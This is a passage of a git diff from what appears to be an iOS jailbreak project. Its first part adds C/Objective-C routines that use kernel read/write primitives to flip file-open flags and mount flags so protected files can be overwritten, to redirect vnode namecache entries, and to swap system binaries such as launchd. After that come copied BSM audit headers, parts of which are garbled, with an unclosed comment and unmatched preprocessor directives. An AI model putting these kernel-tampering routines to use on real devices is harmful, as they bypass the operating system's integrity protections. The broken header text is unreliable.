+ return -1;
+ }
+
+ char* to_mapped = mmap(NULL, to_file_size, PROT_READ | PROT_WRITE, MAP_SHARED, to_file_index, 0);
+ if (to_mapped == MAP_FAILED) {
+ perror("[-] Failed mmap (to_mapped)");
+ kwrite32(rootvnode_mount + off_mount_mnt_flag, rootvnode_mnt_flag);
+ close(from_file_index);
+ close(to_file_index);
+ return -1;
+ }
+
+ memcpy(to_mapped, from_mapped, from_file_size);
+ printf("[i] msync ret: %d\n", msync(to_mapped, to_file_size, MS_SYNC));
+
+ munmap(from_mapped, from_file_size);
+ munmap(to_mapped, to_file_size);
+
+ kwrite32(fileglob + off_fg_flag, FREAD);
+ kwrite32(rootvnode_mount + off_mount_mnt_flag, rootvnode_mnt_flag);
+
+ close(from_file_index);
+ close(to_file_index);
+
+ return 0;
+}
+
+uint64_t funVnodeIterateByPath(char* dirname) {
+
+ uint64_t vnode = getVnodeAtPath(dirname);
+ if(vnode == -1) {
+ printf("[-] Unable to get vnode, path: %s\n", dirname);
+ return -1;
+ }
+
+ uint64_t vp_nameptr = kread64(vnode + off_vnode_v_name);
+ uint64_t vp_name = kread64(vp_nameptr);
+
+ printf("[i] vnode->v_name: %s\n", &vp_name);
+
+ //get child directory
+
+ uint64_t vp_namecache = kread64(vnode + off_vnode_v_ncchildren_tqh_first);
+ printf("[i] vnode->v_ncchildren.tqh_first: 0x%llx\n", vp_namecache);
+ if(vp_namecache == 0)
+ return 0;
+
+ while(1) {
+ if(vp_namecache == 0)
+ break;
+ vnode = kread64(vp_namecache + off_namecache_nc_vp);
+ if(vnode == 0)
+ break;
+ vp_nameptr = kread64(vnode + off_vnode_v_name);
+
+ char vp_name[256];
+ kreadbuf(vp_nameptr, &vp_name, 256);
+
+ printf("[i] vnode->v_name: %s, vnode: 0x%llx\n", vp_name, vnode);
+ vp_namecache = kread64(vp_namecache + off_namecache_nc_child_tqe_prev);
+ }
+
+ return 0;
+}
+
+uint64_t funVnodeIterateByVnode(uint64_t vnode) {
+ uint64_t vp_nameptr = kread64(vnode + off_vnode_v_name);
+ uint64_t vp_name = kread64(vp_nameptr);
+
+ printf("[i] vnode->v_name: %s\n", &vp_name);
+
+ //get child directory
+ uint64_t vp_namecache = kread64(vnode + off_vnode_v_ncchildren_tqh_first);
+ printf("[i] vnode->v_ncchildren.tqh_first: 0x%llx\n", vp_namecache);
+ if(vp_namecache == 0)
+ return 0;
+
+ while(1) {
+ if(vp_namecache == 0)
+ break;
+ vnode = kread64(vp_namecache + off_namecache_nc_vp);
+ if(vnode == 0)
+ break;
+ vp_nameptr = kread64(vnode + off_vnode_v_name);
+
+ char vp_name[256];
+ kreadbuf(vp_nameptr, &vp_name, 256);
+
+ printf("[i] vnode->v_name: %s, vnode: 0x%llx\n", vp_name, vnode);
+ vp_namecache = kread64(vp_namecache + off_namecache_nc_child_tqe_prev);
+ }
+
+ return 0;
+}
+
+uint64_t getVnodeVar(void) {
+ return getVnodeAtPathByChdir("/private/var");
+}
+
+uint64_t getVnodeVarMobile(void) {
+ return getVnodeAtPathByChdir("/private/var/mobile");
+}
+
+uint64_t getVnodePreferences(void) {
+ return getVnodeAtPathByChdir("/private/var/mobile/Library/Preferences");
+}
+
+uint64_t getVnodeLibrary(void) {
+ return getVnodeAtPathByChdir("/private/var/mobile/Library");;
+}
+
+uint64_t getVnodeSystemGroup(void) {
+ return getVnodeAtPathByChdir("/private/var/containers/Shared/SystemGroup");
+}
+
+uint64_t findChildVnodeByVnode(uint64_t vnode, char* childname) {
+ uint64_t vp_nameptr = kread64(vnode + off_vnode_v_name);
+ uint64_t vp_name = kread64(vp_nameptr);
+
+ uint64_t vp_namecache = kread64(vnode + off_vnode_v_ncchildren_tqh_first);
+
+ if(vp_namecache == 0)
+ return 0;
+
+ while(1) {
+ if(vp_namecache == 0)
+ break;
+ vnode = kread64(vp_namecache + off_namecache_nc_vp);
+ if(vnode == 0)
+ break;
+ vp_nameptr = kread64(vnode + off_vnode_v_name);
+
+ char vp_name[256];
+ kreadbuf(vp_nameptr, &vp_name, 256);
+// printf("vp_name: %s\n", vp_name);
+
+ if(strcmp(vp_name, childname) == 0) {
+ return vnode;
+ }
+ vp_namecache = kread64(vp_namecache + off_namecache_nc_child_tqe_prev);
+ }
+
+ return 0;
+}
+
+uint64_t funVnodeRedirectFolderFromVnode(char* to, uint64_t from_vnode) {
+ uint64_t to_vnode = getVnodeAtPathByChdir(to);
+ if(to_vnode == -1) {
+ printf("[-] Unable to get vnode, path: %s\n", to);
+ return -1;
+ }
+
+ uint8_t to_v_references = kread8(to_vnode + off_vnode_v_references);
+ uint32_t to_usecount = kread32(to_vnode + off_vnode_v_usecount);
+ uint32_t to_v_kusecount = kread32(to_vnode + off_vnode_v_kusecount);
+ uint64_t orig_to_v_data = kread64(to_vnode + off_vnode_v_data);
+
+ //If mount point is different, return -1
+ uint64_t to_devvp = kread64(unsign_kptr(kread64(to_vnode + off_vnode_v_mount)) + off_mount_mnt_devvp);
+ uint64_t from_devvp = kread64(unsign_kptr(kread64(from_vnode + off_vnode_v_mount)) + off_mount_mnt_devvp);
+ if(to_devvp != from_devvp) {
+ printf("[-] mount points of folders are different!\n");
+ return -1;
+ }
+
+ uint64_t from_v_data = kread64(from_vnode + off_vnode_v_data);
+
+ kwrite32(to_vnode + off_vnode_v_usecount, to_usecount + 1);
+ kwrite32(to_vnode + off_vnode_v_kusecount, to_v_kusecount + 1);
+ kwrite8(to_vnode + off_vnode_v_references, to_v_references + 1);
+ kwrite64(to_vnode + off_vnode_v_data, from_v_data);
+
+ return orig_to_v_data;
+}
+
+uint64_t funVnodeUnRedirectFolder (char* to, uint64_t orig_to_v_data) {
+ uint64_t to_vnode = getVnodeAtPathByChdir(to);
+ if(to_vnode == -1) {
+ printf("[-] Unable to get vnode, path: %s\n", to);
+ return -1;
+ }
+
+ uint8_t to_v_references = kread8(to_vnode + off_vnode_v_references);
+ uint32_t to_usecount = kread32(to_vnode + off_vnode_v_usecount);
+ uint32_t to_v_kusecount = kread32(to_vnode + off_vnode_v_kusecount);
+
+ kwrite64(to_vnode + off_vnode_v_data, orig_to_v_data);
+
+ if(to_usecount > 0)
+ kwrite32(to_vnode + off_vnode_v_usecount, to_usecount - 1);
+ if(to_v_kusecount > 0)
+ kwrite32(to_vnode + off_vnode_v_kusecount, to_v_kusecount - 1);
+ if(to_v_references > 0)
+ kwrite8(to_vnode + off_vnode_v_references, to_v_references - 1);
+
+ return 0;
+}
+
+uint64_t funVnodeOverwriteFileUnlimitSize(char* to, char* from) {
+
+ int to_file_index = open(to, O_RDONLY);
+ if (to_file_index == -1) return -1;
+
+ int from_file_index = open(from, O_RDONLY);
+ if (from_file_index == -1) return -1;
+ off_t from_file_size = lseek(from_file_index, 0, SEEK_END);
+
+ uint64_t proc = getProc(getpid());
+
+ //get vnode
+ uint64_t filedesc_pac = kread64(proc + off_p_pfd);
+ uint64_t filedesc = unsign_kptr(filedesc_pac);
+ uint64_t openedfile = kread64(filedesc + (8 * to_file_index));
+ uint64_t fileglob_pac = kread64(openedfile + off_fp_glob);
+ uint64_t fileglob = unsign_kptr(fileglob_pac);
+ uint64_t vnode_pac = kread64(fileglob + off_fg_data);
+ uint64_t to_vnode = unsign_kptr(vnode_pac);
+ printf("[i] %s to_vnode: 0x%llx\n", to, to_vnode);
+
+ kwrite32(fileglob + off_fg_flag, FREAD | FWRITE);
+
+ uint32_t to_vnode_v_writecount = kread32(to_vnode + off_vnode_v_writecount);
+ printf("[i] %s Increasing to_vnode->v_writecount: %d\n", to, to_vnode_v_writecount);
+ if(to_vnode_v_writecount <= 0) {
+ kwrite32(to_vnode + off_vnode_v_writecount, to_vnode_v_writecount + 1);
+ printf("[+] %s Increased to_vnode->v_writecount: %d\n", to, kread32(to_vnode + off_vnode_v_writecount));
+ }
+
+
+ char* from_mapped = mmap(NULL, from_file_size, PROT_READ, MAP_PRIVATE, from_file_index, 0);
+ if (from_mapped == MAP_FAILED) {
+ perror("[-] Failed mmap (from_mapped)");
+ close(from_file_index);
+ close(to_file_index);
+ return -1;
+ }
+
+ printf("[i] ftruncate ret: %d\n", ftruncate(to_file_index, 0));
+ printf("[i] write ret: %zd\n", write(to_file_index, from_mapped, from_file_size));
+
+ munmap(from_mapped, from_file_size);
+
+ kwrite32(fileglob + off_fg_flag, FREAD);
+
+ close(from_file_index);
+ close(to_file_index);
+
+ return 0;
+}
+
+uint64_t getVnodeAtPathByChdir(char *path) {
+ if(access(path, F_OK) == -1) return -1;
+ if(chdir(path) == -1) return -1;
+
+ uint64_t fd_cdir_vp = kread64(getProc(getpid()) + off_p_pfd + off_fd_cdir);
+ chdir("/");
+ return fd_cdir_vp;
+}
+
+uint64_t funVnodeRedirectFile(char* to, char* from, uint64_t* orig_to_vnode, uint64_t* orig_nc_vp)
+{
+ uint64_t to_vnode = getVnodeAtPath(to);
+ if(to_vnode == -1) {
+ NSString *to_dir = [[NSString stringWithUTF8String:to] stringByDeletingLastPathComponent];
+ NSString *to_file = [[NSString stringWithUTF8String:to] lastPathComponent];
+ uint64_t to_dir_vnode = getVnodeAtPathByChdir(to_dir.UTF8String);
+ to_vnode = findChildVnodeByVnode(to_dir_vnode, to_file.UTF8String);
+ if(to_vnode == 0) {
+ printf("[-] Couldn't find file (to): %s", to);
+ return -1;
+ }
+ }
+
+ uint64_t from_vnode = getVnodeAtPath(from);
+ if(from_vnode == -1) {
+ NSString *from_dir = [[NSString stringWithUTF8String:from] stringByDeletingLastPathComponent];
+ NSString *from_file = [[NSString stringWithUTF8String:from] lastPathComponent];
+ uint64_t from_dir_vnode = getVnodeAtPathByChdir(from_dir.UTF8String);
+ from_vnode = findChildVnodeByVnode(from_dir_vnode, from_file.UTF8String);
+ if(from_vnode == 0) {
+ printf("[-] Couldn't find file (from): %s", from);
+ return -1;
+ }
+ }
+
+ uint64_t to_vnode_nc = kread64(to_vnode + off_vnode_v_nclinks_lh_first);
+ *orig_nc_vp = kread64(to_vnode_nc + off_namecache_nc_vp);
+ *orig_to_vnode = to_vnode;
+ kwrite64(to_vnode_nc + off_namecache_nc_vp, from_vnode);
+ return 0;
+}
+
+uint64_t funVnodeUnRedirectFile(uint64_t orig_to_vnode, uint64_t orig_nc_vp)
+{
+ uint64_t to_vnode_nc = kread64(orig_to_vnode + off_vnode_v_nclinks_lh_first);
+ kwrite64(to_vnode_nc + off_namecache_nc_vp, orig_nc_vp);
+ return 0;
+}
+void vnode_increment(uint64_t vnode) {
+ uint32_t holdcount = kread32(vnode + v_holdcount);
+ kwrite32(vnode + v_holdcount, holdcount + 1);
+}
+// try reading through vp_ncchildren of /sbin/'s vnode to find launchd's namecache
+// after that, kwrite namecache, vnode id -> thx bedtime / misfortune
+
+int SwitchSysBin(uint64_t vnode, char* what, char* with)
+{
+ uint64_t vp_nameptr = kread64(vnode + off_vnode_v_name);
+ uint64_t vp_namecache = kread64(vnode + off_vnode_v_ncchildren_tqh_first);
+ if(vp_namecache == 0)
+ return 0;
+
+ while(1) {
+ if(vp_namecache == 0)
+ break;
+ vnode = kread64(vp_namecache + off_namecache_nc_vp);
+ if(vnode == 0)
+ break;
+ vp_nameptr = kread64(vnode + off_vnode_v_name);
+
+ char vp_name[256];
+ kreadbuf(kread64(vp_namecache + 96), &vp_name, 256);
+// printf("vp_name: %s\n", vp_name);
+
+ if(strcmp(vp_name, what) == 0)
+ {
+ uint64_t with_vnd = getVnodeAtPath(with);
+ uint32_t with_vnd_id = kread64(with_vnd + 116);
+ uint64_t patient = kread64(vp_namecache + 80); // vnode the name refers
+ uint32_t patient_vid = kread64(vp_namecache + 64); // name vnode id
+ printf("patient: %llx vid:%llx -> %llx\n", patient, patient_vid, with_vnd_id);
+
+ kwrite64(vp_namecache + 80, with_vnd);
+ kwrite32(vp_namecache + 64, with_vnd_id);
+ vnode_increment(with_vnd);
+
+ return vnode;
+ }
+ vp_namecache = kread64(vp_namecache + off_namecache_nc_child_tqe_prev);
+ }
+ return 0;
+}
+
+uint64_t SwitchSysBin160(char* to, char* from, uint64_t* orig_to_vnode, uint64_t* orig_nc_vp)
+{
+ uint64_t to_vnode = getVnodeAtPath(to);
+ if(to_vnode == -1) {
+ NSString *to_dir = [[NSString stringWithUTF8String:to] stringByDeletingLastPathComponent];
+ NSString *to_file = [[NSString stringWithUTF8String:to] lastPathComponent];
+ uint64_t to_dir_vnode = getVnodeAtPathByChdir(to_dir.UTF8String);
+ to_vnode = findChildVnodeByVnode(to_dir_vnode, to_file.UTF8String);
+ if(to_vnode == 0) {
+ printf("[-] Couldn't find file (to): %s", to);
+ return -1;
+ }
+ }
+
+ uint64_t from_vnode = getVnodeAtPath(from);
+ if(from_vnode == -1) {
+ NSString *from_dir = [[NSString stringWithUTF8String:from] stringByDeletingLastPathComponent];
+ NSString *from_file = [[NSString stringWithUTF8String:from] lastPathComponent];
+ uint64_t from_dir_vnode = getVnodeAtPathByChdir(from_dir.UTF8String);
+ from_vnode = findChildVnodeByVnode(from_dir_vnode, from_file.UTF8String);
+ if(from_vnode == 0) {
+ printf("[-] Couldn't find file (from): %s", from);
+ return -1;
+ }
+ }
+
+ uint64_t to_vnode_nc = kread64(to_vnode + off_vnode_v_nclinks_lh_first);
+ *orig_nc_vp = kread64(to_vnode_nc + off_namecache_nc_vp);
+ *orig_to_vnode = to_vnode;
+ kwrite64(to_vnode_nc + off_namecache_nc_vp, from_vnode);
+ vnode_increment(to_vnode);
+
+ return 0;
+}
+
diff --git a/RootHelperSample/launchdshim/launchdhook/jbserver/bsm/audit.h b/RootHelperSample/launchdshim/launchdhook/jbserver/bsm/audit.h
new file mode 100644
index 00000000..24ffe86d
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/jbserver/bsm/audit.h
@@ -0,0 +1,382 @@
+/*-
+ * Copyright (c) 2005-2009 Apple Inc.
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ * 3. Neither the name of Apple Inc. ("Apple") nor the names of
+ * its contributors may be used to endorse or promote products derived
+ * from this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE AND ITS CONTRIBUTORS "AS IS" AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+ * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL APPLE OR ITS CONTRIBUTORS BE LIABLE FOR ANY
+ * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+ * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+ * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
+ * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ *
+ * $P4: //depot/projects/trustedbsd/openbsm/sys/bsm/audit.h#10 $
+ */
+
+#ifndef _BSM_AUDIT_H
+#define _BSM_AUDIT_H
+
+#include
+#include
+#include
+
+#define AUDIT_RECORD_MAGIC 0x828a0f1b
+#define MAX_AUDIT_RECORDS 20
+#define MAXAUDITDATA (0x8000 - 1)
+#define MAX_AUDIT_RECORD_SIZE MAXAUDITDATA
+#define MIN_AUDIT_FILE_SIZE (512 * 1024)
+
+/*
+ * Minimum noumber of free blocks on the filesystem containing the audit
+ * log necessary to avoid a hard log rotation. DO NOT SET THIS VALUE TO 0
+ * as the kernel does an unsigned compare, plus we want to leave a few blocks
+ * free so userspace can terminate the log, etc.
+ */
+#define AUDIT_HARD_LIMIT_FREE_BLOCKS 4
+
+/*
+ * Triggers for the audit daemon.
+ */
+#define AUDIT_TRIGGER_MIN 1
+#define AUDIT_TRIGGER_LOW_SPACE 1 /* Below low watermark. */
+#define AUDIT_TRIGGER_ROTATE_KERNEL 2 /* Kernel requests rotate. */
+#define AUDIT_TRIGGER_READ_FILE 3 /* Re-read config file. */
+#define AUDIT_TRIGGER_CLOSE_AND_DIE 4 /* Terminate audit. */
+#define AUDIT_TRIGGER_NO_SPACE 5 /* Below min free space. */
+#define AUDIT_TRIGGER_ROTATE_USER 6 /* User requests rotate. */
+#define AUDIT_TRIGGER_INITIALIZE 7 /* User initialize of auditd. */
+#define AUDIT_TRIGGER_EXPIRE_TRAILS 8 /* User expiration of trails. */
+#define AUDIT_TRIGGER_MAX 8
+
+/*
+ * The special device filename (FreeBSD).
+ */
+#define AUDITDEV_FILENAME "audit"
+#define AUDIT_TRIGGER_FILE ("/dev/" AUDITDEV_FILENAME)
+
+/*
+ * Pre-defined audit IDs
+ */
+#define AU_DEFAUDITID (uid_t)(-1)
+#define AU_DEFAUDITSID 0
+#define AU_ASSIGN_ASID -1
+
+/*
+ * IPC types.
+ */
+#define AT_IPC_MSG ((unsigned char)1) /* Message IPC id. */
+#define AT_IPC_SEM ((unsigned char)2) /* Semaphore IPC id. */
+#define AT_IPC_SHM ((unsigned char)3) /* Shared mem IPC id. */
+
+/*
+ * Audit conditions.
+ */
+#define AUC_UNSET 0
+#define AUC_AUDITING 1
+#define AUC_NOAUDIT 2
+#define AUC_DISABLED -1
+
+/*
+ * auditon(2) commands.
+ */
+#define A_OLDGETPOLICY 2
+#define A_OLDSETPOLICY 3
+#define A_GETKMASK 4
+#define A_SETKMASK 5
+#define A_OLDGETQCTRL 6
+#define A_OLDSETQCTRL 7
+#define A_GETCWD 8
+#define A_GETCAR 9
+#define A_GETSTAT 12
+#define A_SETSTAT 13
+#define A_SETUMASK 14
+#define A_SETSMASK 15
+#define A_OLDGETCOND 20
+#define A_OLDSETCOND 21
+#define A_GETCLASS 22
+#define A_SETCLASS 23
+#define A_GETPINFO 24
+#define A_SETPMASK 25
+#define A_SETFSIZE 26
+#define A_GETFSIZE 27
+#define A_GETPINFO_ADDR 28
+#define A_GETKAUDIT 29
+#define A_SETKAUDIT 30
+#define A_SENDTRIGGER 31
+#define A_GETSINFO_ADDR 32
+#define A_GETPOLICY 33
+#define A_SETPOLICY 34
+#define A_GETQCTRL 35
+#define A_SETQCTRL 36
+#define A_GETCOND 37
+#define A_SETCOND 38
+#define A_GETSFLAGS 39
+#define A_SETSFLAGS 40
+#define A_GETCTLMODE 41
+#define A_SETCTLMODE 42
+#define A_GETEXPAFTER 43
+#define A_SETEXPAFTER 44
+
+/*
+ * Audit policy controls.
+ */
+#define AUDIT_CNT 0x0001
+#define AUDIT_AHLT 0x0002
+#define AUDIT_ARGV 0x0004
+#define AUDIT_ARGE 0x0008
+#define AUDIT_SEQ 0x0010
+#define AUDIT_WINDATA 0x0020
+#define AUDIT_USER 0x0040
+#define AUDIT_GROUP 0x0080
+#define AUDIT_TRAIL 0x0100
+#define AUDIT_PATH 0x0200
+#define AUDIT_SCNT 0x0400
+#define AUDIT_PUBLIC 0x0800
+#define AUDIT_ZONENAME 0x1000
+#define AUDIT_PERZONE 0x2000
+
+/*
+ * Default audit queue control parameters.
+ */
+#define AQ_HIWATER 100
+#define AQ_MAXHIGH 10000
+#define AQ_LOWATER 10
+#define AQ_BUFSZ MAXAUDITDATA
+#define AQ_MAXBUFSZ 1048576
+
+/*
+ * Default minimum percentage free space on file system.
+ */
+#define AU_FS_MINFREE 20
+
+/*
+ * Type definitions used indicating the length of variable length addresses
+ * in tokens containing addresses, such as header fields.
+ */
+#define AU_IPv4 4
+#define AU_IPv6 16
+
+/*
+ * Reserved audit class mask indicating which classes are unable to have
+ * events added or removed by unentitled processes.
+ */
+#define AU_CLASS_MASK_RESERVED 0x10000000
+
+/*
+ * Audit control modes
+ */
+#define AUDIT_CTLMODE_NORMAL ((unsigned char)1)
+#define AUDIT_CTLMODE_EXTERNAL ((unsigned char)2)
+
+/*
+ * Audit file expire_after op modes
+ */
+#define AUDIT_EXPIRE_OP_AND ((unsigned char)0)
+#define AUDIT_EXPIRE_OP_OR ((unsigned char)1)
+
+__BEGIN_DECLS
+
+typedef uid_t au_id_t;
+typedef pid_t au_asid_t;
+typedef u_int16_t au_event_t;
+typedef u_int16_t au_emod_t;
+typedef u_int32_t au_class_t;
+typedef u_int64_t au_asflgs_t __attribute__ ((aligned(8)));
+typedef unsigned char au_ctlmode_t;
+
+struct au_tid {
+ dev_t port;
+ u_int32_t machine;
+};
+typedef struct au_tid au_tid_t;
+
+struct au_tid_addr {
+ dev_t at_port;
+ u_int32_t at_type;
+ u_int32_t at_addr[4];
+};
+typedef struct au_tid_addr au_tid_addr_t;
+
+struct au_mask {
+ unsigned int am_success; /* Success bits. */
+ unsigned int am_failure; /* Failure bits. */
+};
+typedef struct au_mask au_mask_t;
+
+struct auditinfo {
+ au_id_t ai_auid; /* Audit user ID. */
+ au_mask_t ai_mask; /* Audit masks. */
+ au_tid_t ai_termid; /* Terminal ID. */
+ au_asid_t ai_asid; /* Audit session ID. */
+};
+typedef struct auditinfo auditinfo_t;
+
+struct auditinfo_addr {
+ au_id_t ai_auid; /* Audit user ID. */
+ au_mask_t ai_mask; /* Audit masks. */
+ au_tid_addr_t ai_termid; /* Terminal ID. */
+ au_asid_t ai_asid; /* Audit session ID. */
+ au_asflgs_t ai_flags; /* Audit session flags. */
+};
+typedef struct auditinfo_addr auditinfo_addr_t;
+
+struct auditpinfo {
+ pid_t ap_pid; /* ID of target process. */
+ au_id_t ap_auid; /* Audit user ID. */
+ au_mask_t ap_mask; /* Audit masks. */
+ au_tid_t ap_termid; /* Terminal ID. */
+ au_asid_t ap_asid; /* Audit session ID. */
+};
+typedef struct auditpinfo auditpinfo_t;
+
+struct auditpinfo_addr {
+ pid_t ap_pid; /* ID of target process. */
+ au_id_t ap_auid; /* Audit user ID. */
+ au_mask_t ap_mask; /* Audit masks. */
+ au_tid_addr_t ap_termid; /* Terminal ID. */
+ au_asid_t ap_asid; /* Audit session ID. */
+ au_asflgs_t ap_flags; /* Audit session flags. */
+};
+typedef struct auditpinfo_addr auditpinfo_addr_t;
+
+struct au_session {
+ auditinfo_addr_t *as_aia_p; /* Ptr to full audit info. */
+ au_mask_t as_mask; /* Process Audit Masks. */
+};
+typedef struct au_session au_session_t;
+
+struct au_expire_after {
+ time_t age; /* Age after which trail files should be expired */
+ size_t size; /* Aggregate trail size when files should be expired */
+ unsigned char op_type; /* Operator used with the above values to determine when files should be expired */
+};
+typedef struct au_expire_after au_expire_after_t;
+
+/*
+ * Contents of token_t are opaque outside of libbsm.
+ */
+typedef struct au_token token_t;
+
+/*
+ * Kernel audit queue control parameters:
+ * Default: Maximum:
+ * aq_hiwater: AQ_HIWATER (100) AQ_MAXHIGH (10000)
+ * aq_lowater: AQ_LOWATER (10)
+
+/*
+ * getaudit()/setaudit() are deprecated and have been replaced with
+ * wrappers to the getaudit_addr()/setaudit_addr() syscalls above.
+ */
+
+int getaudit(struct auditinfo *)
+__OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_0, __MAC_10_8,
+ __IPHONE_2_0, __IPHONE_6_0);
+int setaudit(const struct auditinfo *)
+__OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_0, __MAC_10_8,
+ __IPHONE_2_0, __IPHONE_6_0);
+#else
+
+int getaudit(struct auditinfo *);
+int setaudit(const struct auditinfo *);
+#endif /* !__APPLE__ */
+
+__END_DECLS
+
+#endif /* !_BSM_AUDIT_H */
+
+// #ifdef __APPLE_API_PRIVATE
+#include
+mach_port_name_t audit_session_self(void);
+au_asid_t audit_session_join(mach_port_name_t port);
+int audit_session_port(au_asid_t asid, mach_port_name_t *portname);
+#endif /* __APPLE_API_PRIVATE */
+
+uid_t audit_token_to_euid(audit_token_t at);
+uid_t audit_token_to_pid(audit_token_t at);
+// #endif /* defined(_KERNEL) || defined(KERNEL) */
+
diff --git a/RootHelperSample/launchdshim/launchdhook/jbserver/bsm/audit_filter.h b/RootHelperSample/launchdshim/launchdhook/jbserver/bsm/audit_filter.h
new file mode 100644
index 00000000..55a761a6
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/jbserver/bsm/audit_filter.h
@@ -0,0 +1,80 @@
+/*-
+ * Copyright (c) 2006 Robert N. M. Watson
+ * All rights reserved.
+ *
+ * This software was developed by Robert Watson for the TrustedBSD Project.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ * $P4: //depot/projects/trustedbsd/openbsm/bsm/audit_filter.h#4 $
+ */
+
+#ifndef _BSM_AUDIT_FILTER_H_
+#define _BSM_AUDIT_FILTER_H_
+
+#include
+
+/*
+ * Module interface for audit filter modules.
+ *
+ * audit_filter_attach_t - filter module is being attached with arguments
+ * audit_filter_reinit_t - arguments to module have changed
+ * audit_filter_record_t - present parsed record to filter module, with
+ * receipt time
+ * audit_filter_rawrecord_t - present BSM format record to filter module,
+ * with receipt time
+ * audit_filter_destach_t - filter module is being detached
+ *
+ * There may be many instances of the same filter, identified by the instance
+ * void pointer maintained by the filter instance.
+ */
+typedef int (*audit_filter_attach_t)(void *instance, int argc, char *argv[]);
+typedef int (*audit_filter_reinit_t)(void *instance, int argc, char *argv[]);
+typedef void (*audit_filter_record_t)(void *instance, struct timespec *ts,
+ int token_count, const tokenstr_t tok[]);
+typedef void (*audit_filter_rawrecord_t)(void *instance, struct timespec *ts,
+ void *data, u_int len);
+typedef void (*audit_filter_detach_t)(void *instance);
+
+
+/*
+ * Values to be returned by audit_filter_init_t.
+ */
+#define AUDIT_FILTER_SUCCESS (0)
+#define AUDIT_FILTER_FAILURE (-1)
+
+/*
+ * Standard name for filter module initialization functions, which will be
+ * found using dlsym().
+ */
+#define AUDIT_FILTER_ATTACH audit_filter_attach
+#define AUDIT_FILTER_REINIT audit_filter_reinit
+#define AUDIT_FILTER_RECORD audit_filter_record
+#define AUDIT_FILTER_RAWRECORD audit_filter_rawrecord
+#define AUDIT_FILTER_DETACH audit_filter_detach
+#define AUDIT_FILTER_ATTACH_STRING "audit_filter_attach"
+#define AUDIT_FILTER_REINIT_STRING "audit_filter_reinit"
+#define AUDIT_FILTER_RECORD_STRING "audit_filter_record"
+#define AUDIT_FILTER_RAWRECORD_STRING "audit_filter_rawrecord"
+#define AUDIT_FILTER_DETACH_STRING "audit_filter_detach"
+
+#endif /* !_BSM_AUDIT_FILTER_H_ */
diff --git a/RootHelperSample/launchdshim/launchdhook/jbserver/bsm/audit_session.h b/RootHelperSample/launchdshim/launchdhook/jbserver/bsm/audit_session.h
new file mode 100644
index 00000000..09f51aee
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/jbserver/bsm/audit_session.h
@@ -0,0 +1,162 @@
+/*-
+ * Copyright (c) 2009 Apple Inc.
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ * 3. Neither the name of Apple Inc. ("Apple") nor the names of
+ * its contributors may be used to endorse or promote products derived
+ * from this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE AND ITS CONTRIBUTORS "AS IS" AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL APPLE OR ITS CONTRIBUTORS BE LIABLE FOR
+ * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
